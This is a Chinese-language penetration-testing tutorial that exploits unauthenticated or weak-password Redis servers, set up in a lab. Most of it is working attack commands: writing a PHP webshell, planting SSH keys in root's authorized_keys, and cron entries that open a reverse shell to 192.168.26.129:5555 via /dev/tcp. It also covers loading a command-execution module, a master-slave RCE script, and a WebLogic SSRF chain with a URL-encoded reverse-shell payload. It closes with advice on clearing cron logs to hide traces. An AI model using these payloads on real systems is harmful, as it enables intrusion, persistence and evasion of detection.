这篇文章上次修改于 708 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

0x01 简介

本文以 redis 未授权和 redis 弱口令为前提进行提权

0x02 实验环境

  • 系统:CentOS 7.9 x64
  • 数据库:Redis 6.2.5

0x03 利用方法

3.1 写入 webshell

必要条件:

  • 知道网站的绝对路径
  • 对网站目录有写入权限

设置键值

# 因为创建新键赋键值会把原来的键值覆盖,所以需要在赋值的时候需要查看所有的键,然后选择一个没有的键创建赋值。
keys *
# 创建x键并且赋值
set x "<?php phpinfo();?>"

在设置文件写入目录和文件名之前,要先查看默认的目录和文件名

# 查看设置默认值
config get *

记录下默认值后便可写入 webshell 了

# 设置文件写入目录
config set dir /www/admin/localhost_80/wwwroot
# 设置文件名
config set dbfilename info.php
# 保存,完成文件写入
save
# 删除创建的x键
del x
# 设置回原来的目录
config set dir /root/redis-6.2.5/src
# 设置回原来的文件名
config set dbfilename dump.rdb

查看效果,写入成功

3.2 写入 ssh 公钥

必要条件:

  • 知道启动服务的用户
  • 用户拥有 .ssh 目录
  • 允许使用基于密钥认证的方式登陆

先用 xshell 来生成公钥和私钥

工具 ——> 新建用户密钥生成导向

下一步

下一步

输入名称和密码,然后下一步

保存公钥,然后完成

这是刚才创建的私钥,导出的时候需要输入刚才设置的密码

从上面写 webshell 可以看出,redis 写文件会写入其他数据,这些数据与公钥混在一起会影响公钥识别,所以需要在公钥的前面与后面各加两个回车,将脏数据与公钥隔开

设置路径与文件名

config set dir /root/.ssh
config set dbfilename authorized_keys
# 保存,完成文件写入
save

写入以后就可以使用私钥来进行连接,注意,用户名这要填启动服务的用户

3.3 写入定时任务

必要条件:

  • 对计划任务目录写入权限

在设置键值时,与写入 ssh 公钥一样,脏数据不能和定时任务混在一起,所以需要在前面和后面加一个回车

# 每分钟反弹一次shell
*/1 * * * * bash -i >& /dev/tcp/192.168.26.129/5555 0>&1

设置路径与文件名

config set dir /var/spool/cron
config set dbfilename root
# 保存,完成文件写入
save

在攻击机上开启监听,1分钟后便能获得反弹shell

3.4 模块加载执行命令

必要条件:

  • 目标服务器上有 .so 文件
  • redis 支持 module 命令

我们可以利用 webshell 上传 .so 文件,然后再用 redis 的 module 命令加载 .so 文件

.so 文件在这获取(传送门),下载好源文件后,make 一下就能获得 .so 文件了

# 加载.so文件
module load /www/admin/localhost_80/wwwroot/module.so
# 查看现有模块
module list
# 执行命令
system.exec "whoami"
# 删除模块
module unload system

3.5 主从复制 rce

必要条件:

  • Redis 4.x/5.x

利用脚本(传送门),将 .so 文件放到与 redis-rce.py 同目录

# -L后接本地ip,-r后接redis服务器ip
python redis-rce.py -L 192.168.26.129 -r 192.168.26.139 -f module.so

由于实验环境为 Redis 6.2.5,所以并没有复现成功

0x04 其他情况

4.1 ssrf + redis

Weblogic 中存在一个 SSRF 漏洞,利用该漏洞可以发送任意 HTTP 请求,进而攻击内网中 redis、fastcgi 等脆弱组件。

4.1.1 实验环境

本次使用的靶机是 Vulhub 中的一个环境,搭建方法:将 vulhub 项目 git 到本地,切换到/vulhub/weblogic/ssrf目录下,使用下面的命令进行搭建

docker-compose build
docker-compose up -d

4.1.2 利用方法

环境搭好以后,访问ip:7001/console/login/LoginForm.jsp便可打开 weblogic 页面

访问ip:7001/uddiexplorer/SearchPublicRegistries.jsp便可进入存在漏洞的页面

在 Search by business name 处输入 test,然后点击 Search 进行测试,发现有返回信息

通过抓包,在 operator 参数中发现了 url 地址,这时我们对请求的内容进行修改,进行内网探测

将 operator 参数替换为 ip:port 形式的值,当该值为可访问的端口时将会得到错误,一般是返回404 error code,如下图所示:

当该值为不可访问的端口时将会得到错误,一般是返回 but could not connect over HTTP to server

如果访问的非 http 协议,则会返回 which did not have a valid SOAP

接下来,就用 burp 的 Intruder 模块进行爆破,先爆破 ip

从爆破结果可以看到有2个 ip 是可能的

再爆破端口,这里将 ip 和端口放到一起爆破,爆破模式选择 Cluster bomb

从结果中可以找到存在 redis 服务的 ip

把下列命令进行 url 编码,其中换行符为\r\n,对应编码后的内容为%0D%0A

test


set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.26.129/5555 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save


hhh

得到

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.26.129%2F5555%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ahhh

然后将命令加在 operator 参数中,在响应体中可以看到返回的数据

在攻击机中监听端口,收到反弹的 shell

0x05 痕迹

5.1 文件

以上5种提权方法都会写入文件,在完成权限维持后需要进行清理。

5.2 日志

定时任务执行的时候会在/var/log/cron中有记录,获得反弹shell以后可以通过编辑/var/log/cron来清理痕迹

0x06 踩坑记录

6.1

在设置写入文件目录时,如果目录存在却报错ERR Changing directory: No such file or directory,这是因为 root 没有登录过,登录以后就行了,或者再尝试一次。

6.2

在配置密钥登录时,要编辑 /etc/ssh/sshd_config文件,修改以下选项

# 此处请留意root用户能否通过SSH登录
PermitRootLogin yes
# 开启密钥登入的认证方式
RSAAuthentication yes
# 开启密钥登入的认证方式
PubkeyAuthentication yes
# AuthorizedKeysFile路径
AuthorizedKeysFile      .ssh/authorized_keys

6.3

参考链接中,有在 Debian 和 Ubuntu 中写入定时任务提权的情况,在这两个系统中是不行的,因为 redis 写文件会有脏数据,而 Debian 和 Ubuntu 对于计划任务的格式要求是很严格的,所以无法通过语法检查,并且,Ubuntu 用户定时任务必须在600权限才能执行,而用 redis 创建的任务是644权限,也就不能执行计划任务。

0x07 参考

redis数据库在渗透中的利用

RedisModules-ExecuteCommand

Redis未授权访问漏洞利用

redis未授权访问漏洞一些利用

Linux Crontab定时任务反弹shell的坑

SSRF攻击内网Redis